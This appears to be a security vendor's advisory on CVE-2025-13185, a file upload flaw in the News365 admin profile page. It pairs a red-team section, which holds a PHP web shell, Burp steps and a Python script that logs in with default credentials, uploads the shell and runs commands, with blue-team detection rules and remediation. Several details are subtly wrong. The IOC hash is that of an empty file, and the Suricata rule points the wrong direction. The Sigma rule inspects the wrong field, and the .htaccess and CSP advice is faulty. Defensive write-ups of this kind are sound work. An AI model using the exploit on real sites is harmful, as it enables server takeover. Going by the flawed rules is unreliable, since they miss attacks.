CVE-2025-13185

Executive Summary

CVE-2025-13185 is an unrestricted file upload vulnerability affecting Bdtask/CodeCanyon News365 up to version 7.0.3. The flaw resides in the /admin/dashboard/profile endpoint, where the profile_image and banner_image parameters are not properly sanitized, allowing an authenticated attacker with administrative privileges to upload arbitrary files, including web shells. This can lead to remote code execution, data exfiltration, and full server compromise. The vendor has been unresponsive, and a public exploit has been released, increasing the risk of active exploitation. The EPSS score is currently 0.0%, but this is expected to rise as the exploit gains traction.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) - Requires admin login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate due to the high privileges required, the public availability of exploit code and the lack of a patch significantly elevate the real-world risk. Once an attacker gains admin access (e.g., via credential stuffing or social engineering), full compromise is trivial.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the admin profile update functionality. The application fails to validate the file type, size, or content of uploaded images for the profile_image and banner_image fields. An authenticated admin can intercept the upload request (e.g., using Burp Suite) and replace a legitimate image file with a malicious PHP web shell.

Attack Flow:

1. Attacker obtains admin credentials (e.g., default credentials, brute force, or phishing).
2. Attacker logs into the News365 admin panel.
3. Attacker navigates to /admin/dashboard/profile.
4. Attacker intercepts the profile update request and modifies the profile_image or banner_image parameter to upload a PHP file (e.g., shell.php).
5. The server stores the file in a web-accessible directory (e.g., /uploads/profile/).
6. Attacker accesses the uploaded shell via a browser, achieving remote code execution.

Root Cause: The application likely uses a function like move_uploaded_file() without checking the file extension or MIME type, or it only checks the client-side MIME type which can be easily spoofed.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable PHP snippet might look like:

// Vulnerable code (News365 <= 7.0.3)
$target_dir = "uploads/profile/";
$target_file = $target_dir . basename($_FILES["profile_image"]["name"]);
move_uploaded_file($_FILES["profile_image"]["tmp_name"], $target_file);

A patched version would include validation:

// Patched code (hypothetical)
$target_dir = "uploads/profile/";
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file_type = mime_content_type($_FILES["profile_image"]["tmp_name"]);

if (!in_array($file_type, $allowed_types)) {
    die("Invalid file type.");
}

$extension = pathinfo($_FILES["profile_image"]["name"], PATHINFO_EXTENSION);
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array(strtolower($extension), $allowed_ext)) {
    die("Invalid file extension.");
}

$target_file = $target_dir . uniqid() . "." . $extension;
move_uploaded_file($_FILES["profile_image"]["tmp_name"], $target_file);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install News365 v7.0.3 on a local server (e.g., XAMPP, Docker).
2. Create an admin account or use default credentials (e.g., admin/admin).
3. Use Burp Suite or a similar proxy to intercept traffic.

Exploit Steps:

1. Log in as admin.
2. Navigate to /admin/dashboard/profile.
3. Prepare a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

4. Intercept the profile update request in Burp Suite.
5. Modify the profile_image parameter to point to shell.php and change the Content-Type to image/jpeg.
6. Forward the request.
7. Access the shell at /uploads/profile/shell.php?cmd=id.

Automated Exploit (Python):

import requests

url = "http://target.com/admin/dashboard/profile"
session = requests.Session()

# Login
login_data = {"username": "admin", "password": "admin"}
session.post(url + "/login", data=login_data)

# Upload shell
files = {"profile_image": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg")}
session.post(url, files=files)

# Execute command
response = session.get("http://target.com/uploads/profile/shell.php?cmd=id")
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads to /admin/dashboard/profile with non-image extensions.
• Alert on requests containing shell.php, cmd=, or other suspicious parameters in the uploads directory.
• Use WAF rules to block file uploads with executable extensions (.php, .phtml, .php5, etc.).

Hunting:

• Search web server logs for POST requests to /admin/dashboard/profile with Content-Type not matching the file extension.
• Look for files in /uploads/profile/ that are not images (check MIME type).
• Scan for known web shells (e.g., using YARA rules below).

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php (example): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • POST requests to /admin/dashboard/profile with profile_image or banner_image parameters containing .php extensions.
  • GET requests to /uploads/profile/*.php with cmd or exec parameters.
• File System Indicators:
  • Unexpected .php files in /uploads/profile/ or /uploads/banner/.
  • Files with <?php or <?= tags in upload directories.
• Log Indicators:
  • Apache/Nginx access logs showing POST /admin/dashboard/profile followed by GET /uploads/profile/shell.php.

Detection Engineering

YARA Rule

rule CVE_2025_13185_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2025-13185"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13185"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $cmd_param = "$_GET['cmd']"
        $post_param = "$_POST['cmd']"
    condition:
        $php_tag and ($system_call or $shell_exec or $exec_call or $cmd_param or $post_param)
}

Sigma Rule

title: CVE-2025-13185 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-13185 via file upload to admin profile
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/dashboard/profile'
        cs-uri-query|contains: 
            - 'profile_image'
            - 'banner_image'
    file_extension:
        cs-uri-query|endswith: 
            - '.php'
            - '.phtml'
            - '.php5'
    condition: selection and file_extension
falsepositives:
    - Legitimate admin uploading images (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13185 - Unrestricted File Upload to News365 Admin Profile";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/dashboard/profile"; http_uri;
    content:"profile_image"; http_client_body;
    content:".php"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Admin Profile Uploads: If possible, temporarily disable the profile image upload feature in the admin panel until a patch is available.
2. Web Application Firewall (WAF): Deploy WAF rules to block file uploads with executable extensions (.php, .phtml, .php5, .shtml, etc.) to the /admin/dashboard/profile endpoint.
3. File Extension Validation: Implement server-side validation to only allow image extensions (.jpg, .jpeg, .png, .gif).
4. Content-Type Verification: Use mime_content_type() or finfo to verify the actual file type, not just the extension.
5. Rename Uploaded Files: Store uploaded files with a random name and no extension, or serve them via a script that forces download instead of execution.

Long-Term Fix:

• The vendor must release a patch that properly validates file uploads. Since they are unresponsive, consider migrating to a different CMS or hiring a developer to harden the code.
• Implement a Content Security Policy (CSP) to restrict script execution from upload directories.
• Regularly audit file upload directories for suspicious files.

Workaround:

• Use .htaccess to disable PHP execution in the uploads directory:

  <Directory "/path/to/uploads">
      php_flag engine off
  </Directory>
  

Valters IT
Securing Digital Frontiers